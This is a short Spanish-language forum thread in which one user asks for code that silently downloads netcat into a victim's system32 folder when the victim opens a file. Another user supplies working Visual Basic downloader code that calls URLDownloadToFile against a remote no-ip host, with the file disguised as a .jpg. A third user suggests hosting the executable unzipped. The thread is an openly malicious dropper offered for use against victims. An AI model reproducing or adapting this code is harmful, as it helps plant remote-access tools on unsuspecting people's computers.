codigo netcat

[Platinium]

hola lo que yo quiero hacer es un codigo en el que a la victima al abrirlo se le descarge el netcat en system32 pero que tambien se descomprima por que el programa biene zipeado.

[Punk-Rock]

Para descargar el netcat tienes ke hacer esto:

1    º lo subes a tu FTP.

2    º, en el programa agrega esto:

En un modulo:

Código:

Option Explicit
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
    (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
    ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
    Private Declare Function DoFileDownload Lib "shdocvw" _
    (ByVal lpszFile As String) As Long
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
    Dim lngRetVal As Long
    lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
'empezamos a descargar
    If lngRetVal = 0 Then DownloadFile = True
'si la descarga a acabado porque el valor ingretval=0 entonces damos a downloadfile true
End Function

Y en el formulario:

Código:

Private Sub Command1_Click()
If DownloadFile("http://zoneisaac.no-ip.com/p.jpg", "c:\arxivo.jpg") Then
'si downloadfile = true entonces
MsgBox "se a descargado correctamente"
'sentencia en este ejemplo un cartel
End If
End Sub

Substituye esto: http://zoneisaac.no-ip.com/p.jpg por la ruta donde esta tu netcat y ya sta.

Salu2

[Yngwie Maty]

deja el exe solamente en tu ftp, asi no deveras descomprimirlo ........